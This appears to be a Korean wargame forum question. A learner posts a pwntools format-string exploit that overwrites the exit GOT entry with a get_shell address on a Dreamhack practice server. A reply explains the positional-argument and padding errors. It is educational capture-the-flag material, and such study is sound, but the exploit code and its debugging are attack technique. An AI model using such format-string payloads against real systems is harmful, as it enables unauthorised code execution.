주소값을 뒤에 작성할 경우

`from pwn import *
port = 23731
p = remote('host3.dreamhack.games', port)

exit = 0x804a024
get_shell = 0x8048609

payload = b'%2052c'
payload += b'%5$hn'
payload += b'%32256c'
payload += b'%6$hn'
payload += b'A'*3
payload += p32(exit+2)
payload += p32(exit)

p.send(payload)
p.interactive()
`

한 번 exit의 주소값을 가장 마지막에 넣어서 해볼려고 했습니다.
먼저 주소 앞에 16비트만큼이 차지되기 때문에 %5$에 0x804를 넣었고, %6$에 앞에서 사용된 값들을 더한 0x809로 0x8609를 뺀 값을 넣어주었습니다.

하지만 제대로 실행되지 않습니다. 어디서 잘못된것인가요?

#pwnable
작성자 정보
답변 1
avatar
qkrthfals
공부벌레
  1. positional argument(5$, 6$) 가 잘못 설정된 것 같습니다.
  2. 32256 바이트를 출력하게 되면 0x8609가 아닌 0x8604가 설정됩니다. (2052 + 32256 = 34308(0x8604))
  3. 'A'를 3 바이트 추가하면 주소 값을 제외한 페이로드의 길이는 24가 아닌 26이 됩니다.
2024.03.28. 02:42
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기